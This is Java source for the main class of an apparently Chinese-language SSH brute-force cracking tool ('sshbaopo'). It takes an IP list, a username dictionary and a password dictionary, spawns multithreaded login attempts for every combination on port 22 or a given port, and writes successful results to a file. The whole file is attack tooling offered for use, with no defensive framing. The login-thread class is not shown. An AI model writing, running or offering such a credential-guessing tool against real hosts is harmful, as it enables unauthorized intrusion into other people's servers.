package com.xmf.sshbaopo;

import org.apache.commons.cli.*;
import org.apache.commons.io.FileUtils;

import java.io.File;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.concurrent.*;

public class SshBaopo {

    public static LinkedList<String> resultList = new LinkedList<String>();

    public static void main(String[] args) {

        String iplist;
        String u;
        String p;
        String o;
        int t;


        // 创建一个解析器
        CommandLineParser parser = new DefaultParser();

        // 使用构造器创建 option
        Options options = new Options();

        options.addOption("h", false, "show help");
        options.addOption("iplist", true, "set ip list file");
        options.addOption("u", true, "set username dict file");
        options.addOption("p", true, "set password dict file");
        options.addOption("o", true, "set result output file");
        options.addOption("t", true, "set thread count , default 10");

        CommandLine line = null;
        try {
            line = parser.parse(options, args);
        } catch (ParseException e) {
            e.printStackTrace();
        }

        if (line.hasOption("h")) {
            String formatstr = "java -jar sshbaopo.jar -iplist iplist.txt -u username.txt -p passpword.txt -o result.txt";
            HelpFormatter hf = new HelpFormatter();
            hf.printHelp(formatstr, "", options, "");
            return;
        }

        if (line.hasOption("h")) {
            String formatstr = "java -jar sshbaopo.jar -iplist iplist.txt -u username.txt -p password.txt -o result.txt";
            HelpFormatter hf = new HelpFormatter();
            hf.printHelp(formatstr, "", options, "");
            return;
        }

        if (line.hasOption("t")) {
            t = Integer.parseInt(line.getOptionValue("t"));
        } else {
            t = 10;
        }

        if (line.hasOption("iplist")) {
            iplist = line.getOptionValue("iplist");
        } else {
            System.out.println("miss -iplist arg");
            return;
        }
        if (line.hasOption("u")) {
            u = line.getOptionValue("u");
        } else {
            System.out.println("miss -u arg");
            return;
        }
        if (line.hasOption("p")) {
            p = line.getOptionValue("p");
        } else {
            System.out.println("miss -p arg");
            return;
        }
        if (line.hasOption("o")) {
            o = line.getOptionValue("o");
        } else {
            System.out.println("miss -o arg");
            return;
        }

        ThreadPoolExecutor threadPool = (ThreadPoolExecutor) Executors.newFixedThreadPool(t);

        try {
            String[] iplistArray = FileUtils.readFileToString(new File(iplist), "utf-8").split("[\r\n]+");
            String[] usernameArray = FileUtils.readFileToString(new File(u), "utf-8").split("[\r\n]+");
            String[] passpordArray = FileUtils.readFileToString(new File(p), "utf-8").split("[\r\n]+");

            HashSet<String> iplistSet = new HashSet<String>();
            HashSet<String> usernameSet = new HashSet<String>();
            HashSet<String> passwordSet = new HashSet<String>();

            //用set做个去重
            iplistSet.addAll(Arrays.asList(iplistArray));
            usernameSet.addAll(Arrays.asList(usernameArray));
            passwordSet.addAll(Arrays.asList(passpordArray));

            Future<?> r = null;

            for (String ipp : iplistSet) {

                String ip;
                int port;

                String[] ippArray = ipp.trim().split(":");

                try {
                    if (ippArray.length == 2) {
                        ip = ippArray[0];
                        port = Integer.parseInt(ippArray[1]);
                    } else {
                        ip = ippArray[0];
                        port = 22;
                    }
                } catch (NumberFormatException e) {
                    e.printStackTrace();
                    continue;
                }

                for (String password : passwordSet) {

                    for (String username : usernameSet) {

                        LoginThread loginThread = new LoginThread(ip, port, username, password);
                        r = threadPool.submit(loginThread);

                        if (threadPool.getActiveCount() >= t) {
                            try {
                                Thread.sleep(1000);
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                        }

                    }
                }
            }


            try {

                if(r!=null){
                    Object rr = r.get();
                }
                System.out.println("完成爆破！");
                threadPool.shutdown();
                threadPool.awaitTermination(10, TimeUnit.MINUTES);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e) {
                e.printStackTrace();
            }

            FileUtils.writeLines(new File(o), resultList);

        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("程序退出！");


    }

}
